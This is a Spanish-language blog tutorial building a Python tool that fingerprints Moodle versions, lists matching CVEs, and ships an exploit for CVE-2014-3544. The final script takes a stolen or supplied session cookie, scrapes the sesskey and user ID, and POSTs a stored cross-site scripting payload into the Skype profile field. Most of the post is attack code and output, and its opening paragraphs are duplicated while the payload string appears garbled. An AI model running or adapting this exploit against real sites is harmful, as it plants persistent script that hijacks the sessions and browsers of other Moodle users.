Hacking Tools: Listando y explotando vulnerabilidades con Python
Con este post finalizo la introducción al scripting con Python, donde de forma muy superficial vimos lo básico del lenguaje para comenzar el desarrollo de nuestras herramientas y luego obtener información relevante de nuestro objetivo web.
Ahora veremos como listar y explotar vulnerabilidades. Continuaremos con el código del post anterior
Primero debemos crear una estructura variable (un arreglo o matriz) que almacene la información de vulnerabilidades para cada versión de nuestro objetivo, en nuestro caso de ejemplo, Moodle.
Se me ocurre que cuando la herramienta encuentre una versión con vulnerabilidades conocidas (CVE: Common Vulnerabilities and Exposures - generalmente publicadas en www.cvedetails.com), muestre en pantalla:
Para dar al usuario la opción de explotar la vulnerabilidad, realizaremos una pregunta en pantalla, siempre y cuando en la lista obtenida exista alguna vulnerabilidad con la variable de exploit en "1". La forma de lanzar el exploit será introduciendo el número CVE (Ej: 2013-2244)
Crearemos dos contadores, uno para contar las vulnerabilidades encontradas y otro para contar las vulnerabilidades que nuestra herramienta podrá explotar. Con esta información podremos mostrar en pantalla al usuario estos números
Para poder enviar el HTTP POST con el XSS Moodle nos pide una variable de session que va en el formulario y además necesitamos el ID del usuario. Para eso están los bloques de código que comienzan con "idx = ...". Mediante la búsqueda de string vía metodo find() y también usando expresiones regulares (re y compile()) podemos obtener esos datos desde el código HTML. Una vez obtenidos esos datos enviamos el POST con nuestro código.
Espero les sirva para que puedan ir creando sus propias herramientas.
Saludos
Ahora veremos como listar y explotar vulnerabilidades. Continuaremos con el código del post anterior
Primero debemos crear una estructura variable (un arreglo o matriz) que almacene la información de vulnerabilidades para cada versión de nuestro objetivo, en nuestro caso de ejemplo, Moodle.
Se me ocurre que cuando la herramienta encuentre una versión con vulnerabilidades conocidas (CVE: Common Vulnerabilities and Exposures - generalmente publicadas en www.cvedetails.com), muestre en pantalla:
- Código CVE
- Descripción de la vulnerabilidad
- Enlaces o links a documentación de referencia
- Una opción que indique si con nuestra herramienta podemos explotar dicho fallo
vulnerabilidades = [ ['2.4.2','CVE-2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '1'], ['2.4.2','CVE-2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'], ['2.9','CVE-2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0'] ]Incorporamos nuestra matriz y agregamos el código que buscará en ella las vulnerabilidades.
#! /usr/bin/python import hashlib import optparse import urllib.request print (""" Mi primera herramienta 1.0 modo de uso: scan.py -u URL """) #comentario: las líneas dentro de las tres comillas se interpretan #incluyendo los saltos de línea parser = optparse.OptionParser() parser.add_option('-u', '--url', dest="url", help="Direccion del sitio web a escanear") (options, args) = parser.parse_args() url = options.url print ("Obteniendo datos del servidor") cnn = urllib.request.urlopen(url) print ("server : " + cnn.info().get('server')) print ("x-powered-by : " + cnn.info().get('x-powered-by')) print ("x-frame-options : " + cnn.info().get('x-frame-options')) versiones = [ ['e05f0126ed075eaf8dda7e1346e439ff', '2.4.2'], ['54145C49BF5F6A90ACE4CF7613580587', '2.9'], ['B8C9BB0F1F212E66A561E17EFD7BC142', '3.2.1'] ] cnn = urllib.request.urlopen(url + '/admin/environment.xml') contenido = cnn.read() hashremoto = hashlib.md5(contenido).hexdigest() for i in versiones: if i[0].lower() == hashremoto.lower(): print("\nMoodle version " + i[1]) version = i[1] vulnerabilidades = [ ['2.4.2','CVE-2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '1'], ['2.4.2','CVE-2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'], ['2.9','CVE-2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0'] ] print ("\nBuscando vulnerabilidades...") for i in vulnerabilidades: if i[0] == version: print ("\n\nCVE : " + i[1]) print ("Descripcion : " + i[2]) print ("Referencias : " + i[3]) print ("Exploit? : " + i[4])La salida en mi ambiente de pruebas es:
>./blog.py -u http://localhost/moodle Mi primera herramienta 1.0 modo de uso: scan.py -u URL Obteniendo datos del servidor server : Apache/2.2.15 (CentOS) x-powered-by : PHP/5.3.3 x-frame-options : sameorigin Moodle version 2.4.2 Buscando vulnerabilidades... CVE : CVE-2013-2244 Descripcion : Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML vi a the conditional access rule value of a user field. Referencias : www.referencia.com Exploit? : 1 CVE : CVE-2013-2242 Descripcion : mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability befo re authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. Referencias : www.referencia.com Exploit? : 0Ahora que tenemos nuestra lista de vulnerabilidades vamos a implementar la forma de poder explotar una de ellas. Para esto usamos el ultimo campo de nuestra matriz, que en pantalla se refleja como "exploit?", si es 1, quiere decir que podemos explotar la vulnerabilidad desde nuestra propia herramienta.
Para dar al usuario la opción de explotar la vulnerabilidad, realizaremos una pregunta en pantalla, siempre y cuando en la lista obtenida exista alguna vulnerabilidad con la variable de exploit en "1". La forma de lanzar el exploit será introduciendo el número CVE (Ej: 2013-2244)
Crearemos dos contadores, uno para contar las vulnerabilidades encontradas y otro para contar las vulnerabilidades que nuestra herramienta podrá explotar. Con esta información podremos mostrar en pantalla al usuario estos números
#! /usr/bin/python import hashlib import optparse import urllib.request print (""" Mi primera herramienta 1.0 modo de uso: scan.py -u URL """) #comentario: las líneas dentro de las tres comillas se interpretan #incluyendo los saltos de línea parser = optparse.OptionParser() parser.add_option('-u', '--url', dest="url", help="Direccion del sitio web a escanear") (options, args) = parser.parse_args() url = options.url print ("Obteniendo datos del servidor") cnn = urllib.request.urlopen(url) print ("server : " + cnn.info().get('server')) print ("x-powered-by : " + cnn.info().get('x-powered-by')) print ("x-frame-options : " + cnn.info().get('x-frame-options')) versiones = [ ['e05f0126ed075eaf8dda7e1346e439ff', '2.4.2'], ['c05ea78249ea5498198b7a7b359ff247', '2.6'], ['54145C49BF5F6A90ACE4CF7613580587', '2.9'], ['B8C9BB0F1F212E66A561E17EFD7BC142', '3.2.1'] ] cnn = urllib.request.urlopen(url + '/admin/environment.xml') contenido = cnn.read() hashremoto = hashlib.md5(contenido).hexdigest() version = None for i in versiones: if i[0].lower() == hashremoto.lower(): print("\nMoodle version " + i[1]) version = i[1] vulnerabilidades = [ ['2.4.2','2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '0'], ['2.4.2','2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'], ['2.4.2', '2013-4341', 'Multiple cross-site scripting (XSS) vulnerabilities in Moodle through 2.2.11, 2.3.x before 2.3.9, 2.4.x before 2.4.6, and 2.5.x before 2.5.2 allow remote attackers to inject arbitrary web script or HTML via a crafted blog link within an RSS feed.','www.reference.com','0'], ['2.6', '2014-3544','Cross-site scripting (XSS) vulnerability in user/profile.php in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authenticated users to inject arbitrary web script or HTML via the Skype ID profile field.', 'www.reference.com', '1'], ['2.9','2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0'] ] print ("\nBuscando vulnerabilidades...") nvuln = 0 nexpl = 0 if version is not None: for i in vulnerabilidades: if i[0] == version: print ("\n\nCVE : " + i[1]) print ("Descripcion : " + i[2]) print ("Referencias : " + i[3]) print ("Exploit? : " + i[4]) nvuln += 1 if i[4] == '1': nexpl += 1 print ("\nSe han encontrado " + str( nvuln ) + " vulnerabilidades para esta version de Moodle") if nvuln > 0: if nexpl > 0: #preguntar si desea explotar print("\nExisten vulnerabilidades que pueden ser explotadas por la herramienta, desea explotar alguna ahora?") print ("\nBusqueda finalizada.") else: print("\nMoodle version no encontrada.\nBusqueda finalizada.")Con la nueva versión del script, si pruebo en un ambiente de pruebas con Moodle version 2.6 arroja lo siguiente:
>./blog.py -u http://localhost/moodle Mi primera herramienta 1.0 modo de uso: scan.py -u URL Obteniendo datos del servidor server : Apache/2.4.18 (Win64) PHP/5.6.19 x-powered-by : PHP/5.6.19 x-frame-options : sameorigin Moodle version 2.6 Buscando vulnerabilidades... CVE : 2014-3544 Descripcion : Cross-site scripting (XSS) vulnerability in user/profile.php in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authent icated users to inject arbitrary web script or HTML via the Skype ID profile field. Referencias : www.reference.com Exploit? : 1 Se han encontrado 1 vulnerabilidades para esta version de Moodle Existen vulnerabilidades que pueden ser explotadas por la herramienta, desea explotar alguna ahora? Busqueda finalizada.Ahora nos queda hacer la pregunta al usuario, si quiere explotar la vulnerabilidad encontrada, recordemos que para esto le pediremos el código CVE. Compararemos el código CVE ingresado y si coincide ejecutaremos el exploit.
#! /usr/bin/python import hashlib import re import optparse import urllib import urllib.request print (""" Mi primera herramienta 1.0 modo de uso: scan.py -u URL """) #comentario: las líneas dentro de las tres comillas se interpretan #incluyendo los saltos de línea parser = optparse.OptionParser() parser.add_option('-u', '--url', dest="url", help="Direccion del sitio web a escanear") (options, args) = parser.parse_args() url = options.url print ("Obteniendo datos del servidor") cnn = urllib.request.urlopen(url) print ("server : " + cnn.info().get('server')) print ("x-powered-by : " + cnn.info().get('x-powered-by')) print ("x-frame-options : " + cnn.info().get('x-frame-options')) versiones = [ ['e05f0126ed075eaf8dda7e1346e439ff', '2.4.2'], ['c05ea78249ea5498198b7a7b359ff247', '2.6'], ['54145C49BF5F6A90ACE4CF7613580587', '2.9'], ['B8C9BB0F1F212E66A561E17EFD7BC142', '3.2.1'] ] cnn = urllib.request.urlopen(url + '/admin/environment.xml') contenido = cnn.read() hashremoto = hashlib.md5(contenido).hexdigest() version = None for i in versiones: if i[0].lower() == hashremoto.lower(): print("\nMoodle version " + i[1]) version = i[1] vulnerabilidades = [ ['2.4.2','2013-2244', 'Multiple cross-site scripting (XSS) vulnerabilities in lib/conditionlib.php in Moodle 2.4.x before 2.4.5 and 2.5.x before 2.5.1 allow remote attackers to inject arbitrary web script or HTML via the conditional access rule value of a user field. ', 'www.referencia.com', '0'], ['2.4.2','2013-2242', 'mod/chat/gui_sockets/index.php in Moodle through 2.1.10, 2.2.x before 2.2.11, 2.3.x before 2.3.8, 2.4.x before 2.4.5, and 2.5.x before 2.5.1 does not consider the mod/chat:chat capability before authorizing daemon-mode chat, which allows remote authenticated users to bypass intended access restrictions via an HTTP session to a chat server. ', 'www.referencia.com', '0'], ['2.4.2', '2013-4341', 'Multiple cross-site scripting (XSS) vulnerabilities in Moodle through 2.2.11, 2.3.x before 2.3.9, 2.4.x before 2.4.6, and 2.5.x before 2.5.2 allow remote attackers to inject arbitrary web script or HTML via a crafted blog link within an RSS feed.','www.reference.com','0'], ['2.6', '2014-3544','Cross-site scripting (XSS) vulnerability in user/profile.php in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allows remote authenticated users to inject arbitrary web script or HTML via the Skype ID profile field.', 'www.reference.com', '1'], ['2.9','2016-2153', 'Cross-site scripting (XSS) vulnerability in the advanced-search feature in mod_data in Moodle through 2.6.11, 2.7.x before 2.7.13, 2.8.x before 2.8.11, 2.9.x before 2.9.5, and 3.0.x before 3.0.3 allows remote attackers to inject arbitrary web script or HTML via a crafted field in a URL, as demonstrated by a search form field. ','www.referencia.com','0'] ] print ("\nBuscando vulnerabilidades...") nvuln = 0 nexpl = 0 if version is not None: for i in vulnerabilidades: if i[0] == version: print ("\n\nCVE : " + i[1]) print ("Descripcion : " + i[2]) print ("Referencias : " + i[3]) print ("Exploit? : " + i[4]) nvuln += 1 if i[4] == '1': nexpl += 1 print ("\nSe han encontrado " + str( nvuln ) + " vulnerabilidades para esta version de Moodle") if nvuln > 0: if nexpl > 0: #preguntar si desea explotar print("\nExisten vulnerabilidades que pueden ser explotadas por la herramienta. Si desea explotar una ingrese el codigo CVE (Ej: 2013-4341), de lo contrario presione ENTER.") cve = input("\nIngrese el codigo CVE: ") if cve == "2014-3544": # #codigo del exploit #es necesaria la cookie de sesion, para interactuar con moodle como si estuviera "logeado" #ejemplo: MoodleSession=4vls4fco86h23mii42hohv4d82; # cookie = input("\nIngrese la cookie de sesion de Moodle: ") req = urllib.request.Request(url) req.add_header('Cookie',cookie) formedit = urllib.request.urlopen(req) html = formedit.read().decode() idx = html.find("/user/profile.php?id=") len = idx + 30 pid = html[idx:len] patron = re.compile("id=\d+") userid = patron.findall(pid)[0][3:] idx = html.find("login/logout.php?sesskey=") len = idx + 40 ses = html[idx:len] patron = re.compile("sesskey=\w+") sesskey = patron.findall(ses)[0][8:] payload = '">>>Como pueden ver, se hacen las preguntas necesarias al usuario vía el metodo "input", lo que viene después es el código del exploit que necesita la cookie de session para poder simular un usuario ya logueado en Moodle, esto debido a que la vulnerabilidad del ejemplo, es un Cross Site Scripting persistente que se puede explotar al editar el perfil del usuario.XSS COMPLETE
' post = {'id':userid, 'course':'1', 'sesskey': sesskey, '_qf__user_editadvanced_form':'1', 'mform_isexpanded_id_moodle':'1', 'mform_isexpanded_id_moodle_picture':'0', 'mform_isexpanded_id_moodle_additional_names':'0', 'mform_isexpanded_id_moodle_interests':'0', 'mform_isexpanded_id_moodle_optional':'1', 'username':'admin', 'newpassword':'', 'firstname':'Admin', 'lastname':'User', 'email':'[email protected]', 'maildisplay':'1', 'mailformat':'1', 'maildigest':'0', 'autosubscribe':'1', 'trackforums':'0', 'preference_htmleditor':'', 'city':'', 'country':'', 'timezone':'99', 'lang':'en', 'description_editor[text]':'', 'description_editor[format]':'1', 'description_editor[itemid]':'901794433', 'imagefile':'703582763', 'imagealt':'', 'firstnamephonetic':'', 'lastnamephonetic':'', 'middlename':'', 'alternatename':'', 'interests[othertags]':'', 'url':'', 'icq':'', 'skype':payload, 'aim':'', 'yahoo':'', 'msn':'', 'idnumber':'', 'institution':'', 'department':'', 'phone1':'', 'phone2':'', 'address':'', 'submitbutton':'Update profile'} req = urllib.request.Request(url + '/user/editadvanced.php', data=urllib.parse.urlencode(post).encode()) res = urllib.request.urlopen(req) if res.getcode() == 200: print ("\nExploit ejecutado correctamente. Finalizado.\n") print ("\nBusqueda finalizada.") else: print("\nMoodle version no encontrada.\nBusqueda finalizada.")
Para poder enviar el HTTP POST con el XSS Moodle nos pide una variable de session que va en el formulario y además necesitamos el ID del usuario. Para eso están los bloques de código que comienzan con "idx = ...". Mediante la búsqueda de string vía metodo find() y también usando expresiones regulares (re y compile()) podemos obtener esos datos desde el código HTML. Una vez obtenidos esos datos enviamos el POST con nuestro código.
Espero les sirva para que puedan ir creando sus propias herramientas.
Saludos
Comentarios
Publicar un comentario